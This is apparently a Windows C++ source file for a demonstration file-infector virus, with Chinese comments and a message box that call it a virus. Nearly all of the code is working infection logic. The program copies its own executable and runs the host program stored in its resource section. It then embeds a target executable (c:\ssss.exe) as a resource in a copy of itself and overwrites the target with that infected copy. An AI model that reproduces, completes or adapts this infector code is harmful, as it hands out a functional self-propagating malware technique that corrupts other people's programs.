#include "stdafx.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
   // TODO: Place code here.
char syspath[256];
TCHAR src[MAX_PATH]="xx.exe";
TCHAR szMyName[MAX_PATH];
TCHAR szTempFileA[MAX_PATH];
TCHAR szTempFileB[MAX_PATH];
GetSystemDirectory(syspath,256);
GetModuleFileName(NULL,szMyName,MAX_PATH);
HANDLE hFile;
DWORD dwFileSize, 
dwBytesRead;
STARTUPINFO si;
PROCESS_INFORMATION pi;
MessageBox(NULL,"这是一个病毒，你可以选择感染的文件，也可不选~","演示病毒UpadatResource 1.0",0x1000);
GetTempFileName(syspath,"vic",0,szTempFileA);
GetTempFileName(syspath,"host",0,szTempFileB);
CopyFile(szMyName,szTempFileA,0);//病毒体copy到szTempFileA里
HMODULE hLibrary;
HRSRC hResource;
HGLOBAL hResourceLoaded;
LPBYTE lpBuffer;
hLibrary = LoadLibrary(szTempFileA);
if (NULL != hLibrary)
{

    
  hResource = FindResource(hLibrary, MAKEINTRESOURCE(104), RT_RCDATA);  //打开指定的节。如果打开成功则写入临时文件执行。
        if (NULL != hResource)

    {
           
      hResourceLoaded = LoadResource(hLibrary, hResource);
              
      if (NULL != hResourceLoaded) 
      
      {

        lpBuffer = (LPBYTE) LockResource(hResourceLoaded); 

        if (NULL != lpBuffer) 

        { 

          DWORD dwBytesWritten;

          dwFileSize = SizeofResource(hLibrary, hResource);

          hFile = CreateFile(szTempFileB,

            GENERIC_WRITE,

            0,

            NULL,

            CREATE_ALWAYS,

            FILE_ATTRIBUTE_NORMAL,

            NULL);


          if (INVALID_HANDLE_VALUE != hFile)

          {


              MessageBox(NULL,szTempFileB,GetCommandLine(),0x1000);
  
            WriteFile(hFile, lpBuffer, dwFileSize, &dwBytesWritten, NULL);


            CloseHandle(hFile);

          }

          GetStartupInfo(&si);

          CreateProcess(szTempFileB,GetCommandLine(),NULL,NULL,NULL,NULL,NULL,NULL,&si,&pi);
  
          MessageBox(NULL,szTempFileB,GetCommandLine(),0x1000);

        }

      } 

    }

FreeLibrary(hLibrary);
}

char Filename[256] = "c:\\ssss.exe"; //被感染的文件路径。。
hFile = CreateFile(Filename, GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if(INVALID_HANDLE_VALUE == hFile)
{
  MessageBox(NULL,"HOST文件打开失败","。",0x1000);
}
if (INVALID_HANDLE_VALUE != hFile)
{
    

dwFileSize = GetFileSize(hFile, NULL);

lpBuffer = new BYTE[dwFileSize];

if (ReadFile(hFile, lpBuffer, dwFileSize, &dwBytesRead, NULL) != FALSE)
{
  

hResource = (HRSRC)BeginUpdateResource(szTempFileA, FALSE);
if (NULL != hResource)
{

  
if (UpdateResource(hResource,
RT_RCDATA,
MAKEINTRESOURCE(104),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPVOID) lpBuffer,
dwFileSize) != FALSE)
{

EndUpdateResource(hResource, FALSE);
}

}

delete [] lpBuffer; 
CloseHandle(hFile);


if(CopyFile(szTempFileA,Filename,0))
{
    //  MessageBox(NULL,Filename,szTempFileA,0x1000);
}//Any Thing is every thing~
Sleep(1000);


DeleteFile(szTempFileA);
while(!DeleteFile(szTempFileB)) ;
}
}

  return 0;
}